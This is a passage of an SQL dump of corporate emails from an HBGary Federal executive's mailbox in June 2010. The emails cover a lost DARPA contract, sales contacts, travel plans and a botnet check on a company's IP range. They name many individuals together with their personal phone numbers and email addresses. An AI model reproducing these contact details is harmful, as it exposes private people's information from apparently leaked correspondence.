\r\n\r\n		body {\r\n		margin: 5px 0 0 5px;\r\n		padding: 0;\r\n		line-height: 135%;\r\n		color: #444; font-style:normal; font-variant:normal; font-weight:normal; font-size:0.8em;\r\n		font-family:Verdana, sans-serif, Arial;\r\n}\r\n\r\np {\r\n	padding: 0 10px 5px 30px;\r\n	width:525px;\r\n}\r\n\r\n#branding {\r\n	padding:0;\r\n	background: url(\'http://www.input.com/corp/images/email-tagline.gif\') no-repeat 128px 0px;\r\n	height: 40px;\r\n	margin:0\r\n}\r\n#branding h1 {\r\n	margin:0;\r\n	float:left;\r\n	padding:0;\r\n}\r\n#branding h3 {\r\n	display: none;\r\n}\r\n#footer {\r\n	width: 600px;\r\n	border-top: 1px solid #CCC;\r\n	text-align: center;\r\n	padding: 10px 0 10px 0;\r\n	margin: 50px 0 0 0;\r\n	font-size: 0.7em;\r\n}\r\n#footer p {\r\n	margin:0;\r\n	padding: 5px 0 5px 0;\r\n\r\n}\r\n\r\n\r\n	\r\n		\r\n		\r\n		\r\n\r\n		\r\n\r\n		\r\n    Thank you for submitting a request for a free trial.  An INPUT representative will contact you \r\n      within one business day to set up your free trial.\r\n    If you would like to speak with an INPUT representative now, please call 1-888-99-INPUT (46788).\r\n    \r\n  \r\n\r\n		\r\n		INPUT - The authority on government business\r\n		INPUT helps companies develop federal, state, and local government business and helps public sector organizations achieve their contracting objectives. Over 2,000 member organizations, including small specialized companies, new entrants to the public sector, and the largest government contractors and agencies, rely on INPUT for the latest and most comprehensive government market research, economic stimulus intelligence and analysis.\r\n		       \r\n*For more information visit www.input.com or call us toll free at 1-888-99-INPUT (46788).\r\n\r\n		        \r\n	\r\n -->\r\n		\r\n        \r\nCopyright &copy; 2009 INPUT. All rights reserved.\r\n			INPUT  •  11720 Plaza America Dr., Suite 1200  •  Reston, VA 20190  •  1-888-99-INPUT  \r\n		\r\n		\r\n	\r\n\r\n',13352,'aaron_hbgary_com/13352.html'),(8053,'2010-06-30','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297006288.M337434P14101Q2909.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: is this good news for HB Gary?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat a PITA&#8212;you were perfect for that! Their loss&#8230;.\r\n\r\n&nbsp;\r\n\r\nThings are good for me; I&#8217;m ahead of plan and looking to add two\r\nnew big customers in Q3 that are both in procurement now. Like to get some\r\nmore. Spent some time with Bob at an event last week and planning to meet Penny\r\nnext time she comes to town. Talk to Maria pretty often.\r\n\r\n&nbsp;\r\n\r\nLet&#8217;s grab lunch or coffee when you get a chance.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\nD 240-396-2446\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 30, 2010 3:19 PM\r\nTo: Sullivan, Mary\r\nSubject: Re: is this good news for HB Gary?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYes we were, but unfortunately weren\'t selected. &nbsp;We\r\ngot our debrief yesterday. &nbsp;Came down to onerous data rights because of\r\nexisting technology and not enough of the pi and pm time on contract, which was\r\nme and Greg.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n:(\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow are things?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 1:28 PM, &quot;Sullivan, Mary&quot; &lt;mary.sullivan@fidelissecurity.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think this is one of the ones you were working on?\r\n\r\n&nbsp;\r\n\r\nCYBER GENOME PROGRAM.\r\n\r\nhttp://www.input.com/getopp.cfm?OppID=61006&amp;PrdctCd=PFOIT&amp;fromEmail=3.\r\n\r\nOppId: 61006 .\r\n\r\nDepartment: DEFENSE / DEFENSE ADVANCED RESEARCH PROJECTS\r\nAGENCY.\r\n\r\nRFP Date: 2010-01-28.\r\n\r\nStatus: Partial Award.\r\n\r\nValue($K): 43000.\r\n\r\nLatest News: The Contracting Office made an award on June\r\n29, 2010 to Lockheed Martin Corporation, under contract # FA8750-10-C0170, for\r\na value of $4,658,267.. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMary\r\nSullivan | Federal Sales Manager | Fidelis Security Systems, Inc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nCurious\r\nabout Fidelis XPS&#8482;? Watch video samples here:&nbsp; http://www.youtube.com/fidsecsys.\r\n\r\nSee\r\nIt in Action: Fidelis XPS&#8482; Latest\r\nThreat Migitation Features\r\n\r\nRead\r\nAll About It:&nbsp; Fidelis XPS Prevents Advanced Cyber\r\nThreats\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15257,'aaron_hbgary_com/15257.html'),(8054,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006288.M49290P14101Q2908.eml','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','Re: is this good news for HB Gary?','Yes we were, but unfortunately weren&#39;t selected.  We got our debrief yesterday.  Came down to onerous data rights because of existing technology and not enough of the pi and pm time on contract, which was me and Greg.\r\n:(How are things?AaronSent from my iPadOn Jun 30, 2010, at 1:28 PM, &quot;Sullivan, Mary&quot; &lt;mary.sullivan@fidelissecurity.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI think this is one of the ones you were working on?\r\n\r\n \r\n\r\nCYBER GENOME PROGRAM.\r\n\r\nhttp://www.input.com/getopp.cfm?OppID=61006&amp;PrdctCd=PFOIT&amp;fromEmail=3.\r\n\r\n\r\nOppId: 61006 .\r\n\r\nDepartment: DEFENSE / DEFENSE ADVANCED RESEARCH PROJECTS\r\nAGENCY.\r\n\r\nRFP Date: 2010-01-28.\r\n\r\nStatus: Partial Award.\r\n\r\nValue($K): 43000.\r\n\r\nLatest News: The Contracting Office made an award on June\r\n29, 2010 to Lockheed Martin Corporation, under contract # FA8750-10-C0170, for\r\na value of $4,658,267.. \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\n \r\n\r\nCurious about Fidelis XPS™? Watch video samples here:  http://www.youtube.com/fidsecsys.\r\n\r\n\r\nSee It in Action: Fidelis XPS™ Latest\r\nThreat Migitation Features\r\n\r\nRead All About It:  Fidelis XPS Prevents\r\nAdvanced Cyber Threats\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4495,'aaron_hbgary_com/4495.html'),(8055,'2010-06-30','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297006288.M572423P14101Q2910.eml','\"Aaron Barr\" <aaron@hbgary.com>','Google Federal','Mike Bradshaw\r\nDirector, Google Federal\r\n703-955-3195\r\nmbradshaw@google.com\r\n\r\n____________________________________________________\r\nScott B. Suhy\r\nCEO, PointAbout Inc.\r\nCell: 202.557.6937\r\n1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\nskype:scott.suhy \r\n\r\n\r\n',13071,'aaron_hbgary_com/13071.html'),(8056,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006288.M782421P14101Q2911.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','End Games','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCan you do United Technologies IP to see if there are\r\nbotnets.&nbsp; Specifically Swvorski Helicopters???&nbsp; This is Rocco&#8217;s account\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6553,'aaron_hbgary_com/6553.html'),(8057,'2010-06-30','\"Lance Cottrell\" <lance.cottrell@abraxascorp.com>','/aaron@hbgary.com/new/1297006289.M290313P14101Q2913.eml','\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>,\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,','Re: Collaboration Opportunity','From reading some of the comments on the website, it is certainly the case that people are assuming this is an \"National Internet ID Card / Driver\'s License\".	-LanceOn Jun 30, 2010, at 4:15 AM, Osterholz, John (US SSA) wrote:Bill,I think its a fine idea if we can define a value added perspective. It would also serve as a good ice breaker for the team.&nbsp;On Monday, colleagues and I spent the better part of the day with Howard in our role as executive sponsors of the Transglobal Secure Collaboration Program (www.tscp.org). Some of that time was spent specifically discussing our TSCP-NSTI perspective in context of TSCP as an internationally constituted A&amp;D industry heavy body.&nbsp;A few of more general points from that session:• HS is getting significant and pointed feedback from all quarters and is trying to read all the input personally.&nbsp;• He is planning to turn the paper into clear Obama Administration guidance by late summer or early fall.&nbsp;• HS expressed sensitivity to his paper being miscast as a description of a \"national ID card\" program, mandated by the government.&nbsp;• He described NSTI as federated identity management to be implemented largely by the private sector in an operational public-private partnership.&nbsp;• HS believed that the general public need not shoulder the full weight of cybersecurity decision making.&nbsp;• He indicated that network providers and others should assume responsibility for making smart infrastructure and operational choices that advanced cybersecurity as a integral feature of their offerings.&nbsp;jlo&nbsp;John Osterholz&nbsp;Vice President&nbsp;Cyber Warfare and CybersecurityFrom: Varner, Bill &lt;Bill.Varner@ManTech.com&gt;&nbsp;To:&nbsp;aaron@hbgary.com&nbsp;&lt;aaron@hbgary.com&gt;;&nbsp;alexander.miller@l-3com.com&nbsp;&lt;alexander.miller@l-3com.com&gt;;&nbsp;barbara.g.fast@boeing.com&nbsp;&lt;barbara.g.fast@boeing.com&gt;;bill.phelps@accenture.com&nbsp;&lt;bill.phelps@accenture.com&gt;;&nbsp;bmalexia@rockwellcollins.com&nbsp;&lt;bmalexia@rockwellcollins.com&gt;;&nbsp;ccpalmer@us.ibm.com&nbsp;&lt;ccpalmer@us.ibm.com&gt;;coxld@saic.com&nbsp;&lt;coxld@saic.com&gt;;&nbsp;david_joslin@federal.dell.com&nbsp;&lt;david_joslin@federal.dell.com&gt;;&nbsp;dusty.wince@knowledgecg.com&nbsp;&lt;dusty.wince@knowledgecg.com&gt;;ed.gibson@us.pwc.com&nbsp;&lt;ed.gibson@us.pwc.com&gt;;&nbsp;gjg@mitre.org&nbsp;&lt;gjg@mitre.org&gt;;&nbsp;jkoenig@harris.com&nbsp;&lt;jkoenig@harris.com&gt;; Osterholz, John (US SSA);jpayne@telcordia.com&nbsp;&lt;jpayne@telcordia.com&gt;;&nbsp;jreagan@deloitte.com&nbsp;&lt;jreagan@deloitte.com&gt;;&nbsp;jwatters@isightpartners.com&nbsp;&lt;jwatters@isightpartners.com&gt;;kathy.warden@ngc.com&nbsp;&lt;kathy.warden@ngc.com&gt;;&nbsp;kenneth.sannicolas@stanleyassociates.com&nbsp;&lt;kenneth.sannicolas@stanleyassociates.com&gt;;&nbsp;lance.cottrell@abraxascorp.com&lt;lance.cottrell@abraxascorp.com&gt;;&nbsp;michael.fraser@usis.com&nbsp;&lt;michael.fraser@usis.com&gt;;&nbsp;nadia.short@gd-ais.com&nbsp;&lt;nadia.short@gd-ais.com&gt;;&nbsp;pat.burke@sra.com&lt;pat.burke@sra.com&gt;;&nbsp;rdix@juniper.net&nbsp;&lt;rdix@juniper.net&gt;;&nbsp;rodney.joffe@neustar.biz&nbsp;&lt;rodney.joffe@neustar.biz&gt;;&nbsp;roger_anderson@appsig.com&lt;roger_anderson@appsig.com&gt;;&nbsp;samuel.chun@hp.com&nbsp;&lt;samuel.chun@hp.com&gt;;&nbsp;scottmil@microsoft.com&nbsp;&lt;scottmil@microsoft.com&gt;;&nbsp;shawn.carroll@qwest.com&lt;shawn.carroll@qwest.com&gt;;&nbsp;skip.foote@americansystems.com&nbsp;&lt;skip.foote@americansystems.com&gt;;&nbsp;steve_k_hawkins@raytheon.com&nbsp;&lt;steve_k_hawkins@raytheon.com&gt;;svisner@csc.com&nbsp;&lt;svisner@csc.com&gt;;&nbsp;tiffany_jones@symantec.com&nbsp;&lt;tiffany_jones@symantec.com&gt;;&nbsp;wcooper@cisco.com&nbsp;&lt;wcooper@cisco.com&gt;;&nbsp;zazmi@caci.com&lt;zazmi@caci.com&gt;&nbsp;Cc: Jim Garrettson &lt;jimg@executivebiz.com&gt;;&nbsp;jd@executivebiz.com&nbsp;&lt;jd@executivebiz.com&gt;; Jennifer Jordan - Harrell &lt;jennifer@executivebiz.com&gt;&nbsp;Sent: Sat Jun 26 18:47:35 2010Subject: Collaboration Opportunity&nbsp;Ladies &amp; Gents,&nbsp;The draft National Strategy for Trusted Identities in Cyberspace was released yesterday by Howard Schmidt (website below). This follows some of the same themes we were discussing at the dinner – that is – trusted transactions over untrusted networks.&nbsp;There is an opportunity for comment by July 19. This is a great &nbsp;opportunity to test the collaboration I was suggesting at the dinner, and this is indeed an opportunity to use our influence. I would like to put together a response from the ExecutiveBiz Cyber Group if you are willing. When you have a chance to read the document, let’s start some communication. Jennifer is going to get us together for breakfast but we will have to respond to this draft before we can get together.&nbsp;http://www.whitehouse.gov/blog/2010/06/25/national-strategy-trusted-identities-cyberspace&nbsp;Thanks,&nbsp; Bill&nbsp;L. William VarnerPresidentMission, Cyber &amp; Technology Solutions GroupManTech International Corporation2250 Corporate Park Drive, Suite 500Herndon, VA 20171Office: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp;Email:&nbsp;Bill.Varner@Mantech.com&nbsp;\r\n--&nbsp;Lance M. CottrellFounder, Chief ScientistAnonymizer Inc.P:&nbsp;&nbsp;703-592-6772F: 703-563-9471IMPORTANT NOTICE: The information contained in&nbsp;or attached to this &nbsp;e-mail may be confidential and/or privileged&nbsp;information subject to &nbsp;protection by law or terms of applicable&nbsp;confidentiality agreements, &nbsp; andis intended only for the use of the individual or entity&nbsp;named &nbsp; above.Any unauthorized review, use, disclosure or&nbsp;distribution is &nbsp; prohibited.If you are not the intended recipient, please contact&nbsp;the &nbsp; sender byreply email and destroy all copies of the original&nbsp;message. &nbsp; The nameAnonymizer is a registered trademark of Anonymizer,&nbsp;Inc. in &nbsp; the UnitedStates and other countries. Use of the Anonymizer&nbsp;name or &nbsp; imagery isstrictly prohibited without the prior written consent&nbsp;of &nbsp; Anonymizer,Inc.&nbsp;\r\n\r\n',4011,'aaron_hbgary_com/4011.html'),(8058,'2010-06-30','\"Sandoval, Lorenzo J SFC MIL USA\" <lorenzo.j.sandoval@us.army.mil>','/aaron@hbgary.com/new/1297006289.M59278P14101Q2912.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow-on discussions (UNCLASSIFIED)','Classification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nAaron, \r\n\r\n Good Afternoon I appreciating you getting in contact with me. CPT\r\nTurner is one of the team leads in my organization. I will link up with\r\nhim and get any info you have provided him with. I\'ll also coordinate\r\nwith my training section to scrub our calendar for future training\r\nopportunities.\r\n\r\nThanks again for your assistance.\r\n\r\nV/R, \r\n\r\n Rico\r\n\r\n\r\nLorenzo J. Sandoval - \"Rico\"\r\nSFC, USA\r\nDetachment NCOIC\r\nVulnerability Assessment Detachment\r\n1st Bn, 1st Information Operations CMD\r\n\r\n1-703-428-4301 Desk\r\n1-571-282-7361 Blackberry\r\n\r\n\r\nNipr:  lorenzo.j.sandoval@mi.army.mil\r\nSipr: lorenzo.j.sandoval@mi.army.smil.mil\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 30, 2010 10:47 AM\r\nTo: Sandoval, Lorenzo J SFC MIL USA\r\nSubject: Follow-on discussions\r\n\r\nRico,\r\n\r\nI enjoyed talking with you briefly after my presentation at the REBL\r\nconference.  I am inquiring on a potential interest in your organization\r\nin having a discussion on our experience and capabilities and how they\r\nmight fit any of your operational requirements?\r\n\r\nWe are in the process of developing a 1 day social media training course\r\nfor organizations to understand the environment, uses, risks, use cases,\r\nand information monitoring techniques.  The flip side of this is how to\r\nuse social media for reconnaissance and exploitation.  This is the area\r\nthat my team has the most experience.\r\n\r\nI had a conversation with CPT Turner from INSCOM last week, not sure if\r\nyour in a similar organization.\r\n\r\nAttached is our current information services security datasheet.  The\r\narea with the least definition is our capability in IO, which is usually\r\nbest described in person.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n',7455,'aaron_hbgary_com/7455.html'),(8059,'2010-06-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006289.M705661P14101Q2914.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: End Games','Sure, I&#39;ll start it now. On Jun 30, 2010, at 1:57 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCan you do United Technologies IP to see if there are\r\nbotnets.  Specifically Swvorski Helicopters???  This is Rocco’s account\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3781,'aaron_hbgary_com/3781.html'),(8060,'2010-06-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006290.M282747P14101Q2916.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Sacramento','I can change the itinerary Wed or Thur if we need to stay longer.How&#39;s this for a draft agenda:Tuesday (afternoon ~2:30-finished):  Meet with you to discuss Web requirements.\r\nWed (all day):  TMC with Shawn &amp; MartinThur:  Ted &amp; Mark install/configure/ghost TMC server and slave node for shipment to Colorado.Ted\r\nOn Wed, Jun 30, 2010 at 1:07 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs that going to be long enough?  Seems kind of short.  Also I\r\nwant some changes to website, can mark stay longer?  If not can we walk through\r\nit on the phone?\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, June 30, 2010 12:04 PM\r\nTo: Greg Hoglund; Scott Pease; DeeAnn Buonaccorsi; Penny Leavy; Barr\r\nAaron; mark@hbgary.com\r\nSubject: Sacramento\r\n\r\n\r\n\r\n \r\n\r\nI booked our travel for next week.  Mark and I will\r\narrive in Sacramento Tuesday (July 6th) at 1:30pm and depart Thursday evening\r\nat 5:30pm.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',10226,'aaron_hbgary_com/10226.html'),(8061,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006290.M500909P14101Q2917.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: End Games','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIt&#8217;s not\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, June 30, 2010 1:40 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Barr Aaron; Rocco Fasciani\r\nSubject: Re: End Games\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI don\'t see any ARIN netblocks assigned to Swvorski\r\nHelicopters (or Swarovski). &nbsp;I\'m running the query against United\r\nTechnologies Corp: &nbsp;198.212.184.0;198.212.188.255\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf this is the wrong entity, please let me know.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Wed, Jun 30, 2010 at 1:57 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nyou do United Technologies IP to see if there are botnets.&nbsp; Specifically\r\nSwvorski Helicopters???&nbsp; This is Rocco&#8217;s account\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11652,'aaron_hbgary_com/11652.html'),(8062,'2010-06-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006290.M55486P14101Q2915.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: End Games','I don&#39;t see any ARIN netblocks assigned to Swvorski Helicopters (or Swarovski).  I&#39;m running the query against United Technologies Corp:  198.212.184.0;198.212.188.255\r\nIf this is the wrong entity, please let me know.\r\nTed\r\nOn Wed, Jun 30, 2010 at 1:57 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan you do United Technologies IP to see if there are\r\nbotnets.  Specifically Swvorski Helicopters???  This is Rocco’s account\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',9449,'aaron_hbgary_com/9449.html'),(8063,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006290.M738230P14101Q2918.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Sacramento','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ll be on East Coast like Greg.&nbsp; I am flying out Monday.&nbsp; Greg\r\nhas meetings all week, so he&#8217;s pretty slammed.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\nSent: Wednesday, June 30, 2010 1:44 PM\r\nTo: Penny Leavy-Hoglund; Barr Aaron; Greg Hoglund\r\nSubject: Re: Sacramento\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI can change the itinerary Wed or Thur if we need to stay\r\nlonger.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow\'s this for a draft agenda:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTuesday (afternoon ~2:30-finished): &nbsp;Meet with you to\r\ndiscuss Web requirements.\r\n\r\n\r\n\r\n\r\n\r\nWed (all day): &nbsp;TMC with Shawn &amp; Martin\r\n\r\n\r\n\r\n\r\n\r\nThur: &nbsp;Ted &amp; Mark install/configure/ghost TMC\r\nserver and slave node for shipment to Colorado.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Wed, Jun 30, 2010 at 1:07 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nIs that going to be long enough?&nbsp;\r\nSeems kind of short.&nbsp; Also I want some changes to website, can mark stay\r\nlonger?&nbsp; If not can we walk through it on the phone?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Wednesday, June 30, 2010 12:04 PM\r\nTo: Greg Hoglund; Scott Pease; DeeAnn Buonaccorsi; Penny Leavy; Barr\r\nAaron; mark@hbgary.com\r\nSubject: Sacramento\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI\r\nbooked our travel for next week. &nbsp;Mark and I will arrive in Sacramento\r\nTuesday (July 6th) at 1:30pm and depart Thursday evening at 5:30pm.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3821,'aaron_hbgary_com/3821.html'),(8064,'2010-06-30','\"Matt Zeller\" <mzeller@input.com>','/aaron@hbgary.com/new/1297006291.M100562P14101Q2919.eml','Aaron@HBGary.com','INPUT - Discussion','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nPer my voicemail,&nbsp;\r\nI&#8217;d like to introduce myself as your point of contact for\r\nINPUT.&nbsp;&nbsp;&nbsp; I see you put in a request for additional information on\r\nINPUTs government market intelligence.&nbsp; &nbsp;&nbsp;When would be a good\r\ntime for us to touch base with you?&nbsp; \r\n\r\n&nbsp;\r\n\r\nI look forward to hearing 